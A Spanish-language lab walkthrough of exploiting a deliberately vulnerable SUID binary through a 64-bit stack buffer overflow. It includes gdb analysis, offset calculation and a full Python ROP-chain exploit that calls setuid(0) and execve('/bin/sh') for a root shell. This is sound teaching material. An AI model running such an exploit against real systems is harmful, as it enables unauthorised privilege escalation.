OBJETIVO
Mediante la explotación de una vulnerabilidad originada por un desbordamiento de búfer en una arquitectura de 64 bits, obtener una reverse shell con privilegios de superusuario (root), con el fin de lograr el control total del sistema objetivo.
PREPARACIÓN DE LABORATORIO
Este segundo laboratorio se basa en el libro de Du, W. (2019, p. 112), Computer Security: A Hands‑On Approach (2.ª ed.), adaptado para su ejecución sobre una arquitectura de 64 bits.
CÓDIGO FUENTE
A continuación, se presenta el código fuente que será utilizado en el desarrollo de este laboratorio:
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#define TAMANIO 700
int Funcion_C(char *contenido, int tamanio) {
printf("Tamaño original de la cadena %d\n", tamanio);
char buffer[233];
char *reg_rbp_frame;
memcpy(buffer, contenido, tamanio); //Función vulnerable
return 0;
}
int main(int argc, char *argv[]){
if(argc<2){
printf("Uso: %s TamañoDeCaracteresALeer\n", argv[0]);
return 0;
}
char *contenido = (char *)malloc(TAMANIO * sizeof(char));
FILE *archivo = fopen("contenido.txt", "rb");
int i=0;
while (i < atoi(argv[1])){
int ch = fgetc(archivo);
if (ch == EOF){
if (feof(archivo)){
printf("Se alcanzó el fin del archivo.\n");
}else{
perror("Error al leer el archivo");
}
break;
}
contenido[i] = (char)ch; i++;
}
fclose(archivo);
printf("Contenido del archivo:\n%s\n", contenido);
Funcion_C(contenido, i);
free(contenido);
return 0;
}
memcpy(buffer, contenido, tamanio) copia sin verificar límites, permitiendo desbordar el buffer de 233 bytes.
Compilación y configuración del binario SUID:
Con los pasos descritos previamente, se cuenta con un entorno idóneo para el análisis y la explotación de la vulnerabilidad, incluso para escenarios de tipo CTF.
EXPLOTACIÓN
Para iniciar el proceso de explotación de la vulnerabilidad, comenzamos ejecutando el programa. Durante su ejecución, es posible observar que el binario solicita como parámetro la cantidad de caracteres que se desean leer. Si el programa se ejecuta sin proporcionar correctamente este parámetro, se produce un error de tipo Segmentation fault.
1. Análisis con strings
Iniciemos con un análisis estático del ejecutable mediante la identificación de las cadenas de texto (strings) embebidas en el binario, tal como se muestra a continuación:
debian@debian:~/LAB2$ strings mostrar_root.exe
%,*o)
..
Uso: %s TamañoDeCaracteresALeer
contenido.txt
Se alcanzó el fin del archivo.
Error al leer el archivo
Contenido del archivo:
;*3$"
GCC: (Debian 14.2.0-19) 14.2.0
Scrt1.o
__abi_tag
crtstuff.c
A partir del análisis previo, identificamos la cadena contenido.txt, la cual podría corresponder al nombre de un archivo utilizado internamente por el programa. Con base en esta observación, se infiere que dicho archivo es esperado durante la ejecución del binario, por lo que procedemos a crearlo con un contenido de 100 caracteres:
2. Creación del archivo de prueba
Ejecutamos nuevamente el programa y realizamos diversas pruebas, a partir de las cuales podemos observar que su funcionamiento es el esperado bajo condiciones controladas.
ANÁLISIS CON GDB
Continuamos con la depuración del programa utilizando gdb y establecemos un breakpoint (break) al inicio de la ejecución, específicamente en la función main. Posteriormente, iniciamos el programa mediante el comando run y observamos que la ejecución se detiene correctamente en la función main().
debian@debian:~/LAB2$ gdb -q mostrar_root.exe
Reading symbols from mostrar_root.exe...
(No debugging symbols found in mostrar_root.exe)
(gdb) break main
Breakpoint 1 at 0x128d
(gdb) run
Starting program: /home/debian/LAB2/mostrar_root.exe
Breakpoint 1, 0x000055555555528d in main ()
Dado que contamos previamente con el conocimiento del código fuente, sabemos que existe una vulnerabilidad en la función Funcion_C(), la cual es utilizada para almacenar el contenido del archivo contenido.txt. Por tal motivo, resulta conveniente realizar el desensamblado de dicha función con el fin de analizar su comportamiento a bajo nivel.
(gdb) info functions ^Fun
All functions matching regular expression "^Fun":
Non-debugging symbols:
0x0000555555555205 Funcion_C
(gdb) disassemble Funcion_C
Dump of assembler code for function Funcion_C:
0x0000555555555205 <+0>: push %rbp
0x0000555555555206 <+1>: mov %rsp,%rbp
..
0x0000555555555256 <+81>: call 0x555555555090 <memcpy@plt>
0x000055555555525b <+86>: mov $0x0,%eax
0x0000555555555260 <+91>: leave
0x0000555555555261 <+92>: ret
End of assembler dump.
A continuación, establecemos un nuevo breakpoint con el objetivo de analizar el contenido de la pila inmediatamente después de que esta haya sido llenada a partir del archivo contenido.txt.
(gdb) break *Funcion_C + 86
Breakpoint 2 at 0x55555555525b
Posteriormente, ejecutamos nuevamente el programa proporcionando como argumento el número de bytes a leer, el cual en este caso es 101, correspondiente al tamaño total del archivo contenido.txt.
(gdb) run 101
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/debian/LAB2/mostrar_root.exe 101
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, 0x000055555555528d in main ()
(gdb) c
Continuing.
Contenido del archivo:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBB
Tamaño original de la cadena 101
Breakpoint 2, 0x000055555555525b in Funcion_C ()
Análisis de la pila
Procedemos a analizar el contenido de la pila en ese punto de la ejecución, así como los valores relevantes asociados al marco de pila (stack frame).
(gdb) x/60gx $rsp
0x7fffffffe170: 0x00000065ffffe2b0 0x00005555555592a0
0x7fffffffe180: 0x4141414141414141 0x4141414141414141 # Inicio del buffer
0x7fffffffe190: 0x4141414141414141 0x4141414141414141
...
0x7fffffffe260: 0x00007fffffffe3c8 0x00007ffff7ffe5f0
0x7fffffffe270: 0x00007fffffffe2b0 0x00005555555553a7 # RBP guardado y saved RIP
0x7fffffffe280: 0x00007fffffffe3c8 0x0000000200000000
(gdb) info frame
Stack level 0, frame at 0x7fffffffe280:
rip = 0x55555555525b in Funcion_C; saved rip = 0x5555555553a7
called by frame at 0x7fffffffe2c0
Arglist at 0x7fffffffe270, args:
Locals at 0x7fffffffe270, Previous frame's sp is 0x7fffffffe280
Saved registers:
rbp at 0x7fffffffe270, rip at 0x7fffffffe278
De forma similar a lo realizado en el laboratorio 1, se procede a determinar el offset necesario para alcanzar el control del flujo de ejecución.
Dirección de inicio del búfer:
0x7fffffffe180Dirección del registro $rbp:
0x7fffffffe270Diferencia:
0xF0 = 240 bytes
CÁLCULO DEL OFFSET
La diferencia entre la dirección del registro $rbp (0x7fffffffe270) y la dirección de inicio del búfer (0x7fffffffe180) es de 0xF0, que en decimal equivale a 240 bytes.
Si se consideran adicionalmente los 8 bytes correspondientes al tamaño del registro $rbp, se obtiene un offset total de:
Este es el número de bytes necesarios antes de sobrescribir el registro $rip, lo que permitiría tomar el control del flujo de ejecución del programa.
ROP CHAIN CONSTRUCTION
Recordando que en el Laboratorio 1 el mecanismo de seguridad ASLR se encuentra desactivado, continuamos con la identificación del mapeo de memoria requerido para la ejecución del programa mostrar_root.exe.
A partir de este análisis, es posible observar que la biblioteca libc inicia en la dirección de memoria 0x00007ffff7dc7000, la cual será empleada en el siguiente comando:
(gdb) info proc mappings
process 986
Mapped address spaces:
Start Addr End Addr Size Offset Perms File
0x0000555555554000 0x0000555555555000 0x1000 0x0 r--p /home/debian/LAB2/mostrar_root.exe
0x0000555555555000 0x0000555555556000 0x1000 0x1000 r-xp /home/debian/LAB2/mostrar_root.exe
0x0000555555556000 0x0000555555557000 0x1000 0x2000 r--p /home/debian/LAB2/mostrar_root.exe
0x0000555555557000 0x0000555555558000 0x1000 0x2000 r--p /home/debian/LAB2/mostrar_root.exe
0x0000555555558000 0x0000555555559000 0x1000 0x3000 rw-p /home/debian/LAB2/mostrar_root.exe
0x00007ffff7dc4000 0x00007ffff7dc7000 0x3000 0x0 rw-p
0x00007ffff7dc7000 0x00007ffff7def000 0x28000 0x0 r--p /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7def000 0x00007ffff7f52000 0x163000 0x28000 r-xp /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7f52000 0x00007ffff7fa8000 0x56000 0x18b000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6
...
La biblioteca libc.so.6 inicia en la dirección de memoria 0x00007ffff7dc7000.
Mediante la ejecución de la herramienta ROPgadget, es posible identificar instrucciones previamente cargadas en memoria que pueden ser reutilizadas para alcanzar nuestro objetivo de explotación. La salida generada se redirige a un archivo denominado ROPs.txt, lo que nos permite analizar posteriormente el conjunto de instrucciones encontradas y visualizar su contenido de forma organizada.
Generación de gadgets con ROPgadget
# Padding goes here
p = b''
p += pack('<Q', 0x00007ffff7e7bbaa) # pop rdx ; ret
p += pack('<Q', 0x00007ffff7fac000) # @ .data
p += pack('<Q', 0x00007ffff7e0ac43) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x00007ffff7dffb4c) # mov qword ptr [rdx], rax ; ret
p += pack('<Q', 0x00007ffff7e7bbaa) # pop rdx ; ret
p += pack('<Q', 0x00007ffff7fac008) # @ .data + 8
p += pack('<Q', 0x00007ffff7e81bc5) # xor rax, rax ; ret
p += pack('<Q', 0x00007ffff7dffb4c) # mov qword ptr [rdx], rax ; ret
p += pack('<Q', 0x00007ffff7df1145) # pop rdi ; ret
p += pack('<Q', 0x00007ffff7fac000) # @ .data
p += pack('<Q', 0x00007ffff7df2aa9) # pop rsi ; ret
p += pack('<Q', 0x00007ffff7fac008) # @ .data + 8
p += pack('<Q', 0x00007ffff7e7bbaa) # pop rdx ; ret
p += pack('<Q', 0x00007ffff7fac008) # @ .data + 8
p += pack('<Q', 0x00007ffff7e81bc5) # xor rax, rax ; ret
p += pack('<Q', 0x00007ffff7e95a50) # add rax, 1 ; ret
...
Repetir 58 veces más la misma instrucción
...
p += pack('<Q', 0x00007ffff7def505) # syscall
Dirección de setuid
A partir de este punto, es posible construir el exploit; sin embargo, este no permitiría la elevación de privilegios a root de forma directa.
Por lo tanto, resulta necesario identificar la dirección de la función
setuid, así como preparar el registro $rdi con el valor 0 previo a su invocación. Para alcanzar este objetivo, procedemos a realizar las siguientes acciones desde el depurador gdb:
debian@debian:~/LAB2$ gdb -q mostrar_root.exe
Reading symbols from mostrar_root.exe...
(No debugging symbols found in mostrar_root.exe)
(gdb) break main
Breakpoint 1 at 0x128d
(gdb) run
Starting program: /home/debian/LAB2/mostrar_root.exe
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, 0x000055555555528d in main ()
(gdb) print setuid
$1 = {} 0x7ffff7ebfbe0
Con toda la información previamente recabada, procedemos a generar el archivo exploit1.py, el cual permitirá materializar la explotación de la vulnerabilidad analizada.
EXPLOIT EN PYTHON
exploit1.py - Escalada a Root con setuid(0)
#!/usr/bin/python3
from struct import pack
import sys
test = b""
test += b'\x41' * 248 # offset
rip = b''
# ========== SETUID(0) ==========
rip += pack('<Q', 0x00007ffff7df1145) # pop rdi ; ret
rip += pack('<Q', 0x0000000000000000) # rdi = 0 (UID root)
rip += pack('<Q', 0x00007ffff7ebfbe0) # llamar a setuid
# ========== ESCRIBIR "/bin/sh" EN .data ==========
rip += pack('<Q', 0x00007ffff7e7bbaa) # pop rdx ; ret
rip += pack('<Q', 0x00007ffff7fac000) # @ .data
rip += pack('<Q', 0x00007ffff7e0ac43) # pop rax ; ret
rip += b'/bin//sh'
rip += pack('<Q', 0x00007ffff7dffb4c) # mov qword ptr [rdx], rax ; ret
# ========== NULL TERMINATOR ==========
rip += pack('<Q', 0x00007ffff7e7bbaa) # pop rdx ; ret
rip += pack('<Q', 0x00007ffff7fac008) # @ .data + 8
rip += pack('<Q', 0x00007ffff7e81bc5) # xor rax, rax ; ret
rip += pack('<Q', 0x00007ffff7dffb4c) # mov qword ptr [rdx], rax ; ret
# ========== EXECVE("/bin/sh") ==========
rip += pack('<Q', 0x00007ffff7df1145) # pop rdi ; ret
rip += pack('<Q', 0x00007ffff7fac000) # @ .data
rip += pack('<Q', 0x00007ffff7df2aa9) # pop rsi ; ret
rip += pack('<Q', 0x00007ffff7fac008) # @ .data + 8
rip += pack('<Q', 0x00007ffff7e7bbaa) # pop rdx ; ret
rip += pack('<Q', 0x00007ffff7fac008) # @ .data + 8
rip += pack('<Q', 0x00007ffff7e81bc5) # xor rax, rax ; ret
rip += pack('<Q', 0x00007ffff7e0ac43) # pop rax ; ret
rip += pack('<Q', 0x000000000000003b) # rax = 0x3b (execve)
rip += pack('<Q', 0x00007ffff7def505) # syscall
sys.stdout.buffer.write(test + rip + b'\x0a')
Ejecución del Exploit
Procedemos a generar el archivo contenido.txt a partir de la ejecución de nuestro exploit y posteriormente, verificamos el tamaño total del archivo generado.
Finalmente, ejecutamos el programa vulnerable y podemos observar que la explotación se ha realizado de manera exitosa, logrando la obtención de privilegios máximos (root) y el control total del sistema.
RESUMEN TÉCNICO
| Parámetro | Valor |
|---|---|
| Offset hasta RIP | 248 bytes |
| Tamaño del buffer vulnerable | 233 bytes |
| Función vulnerable | Funcion_C (memcpy) |
| Payload final | 425 bytes |
| Dirección de setuid | 0x7ffff7ebfbe0 |
| Sección .data | 0x7ffff7fac000 |
| Gadget pop rdi ; ret | 0x00007ffff7df1145 |
| Gadget syscall | 0x00007ffff7def505 |
HERRAMIENTAS UTILIZADAS
GDB
Depuración y análisis dinámico
ROPgadget
Búsqueda de gadgets ROP
Python3 + struct
Construcción del exploit
libc.so.6
Gadgets y syscalls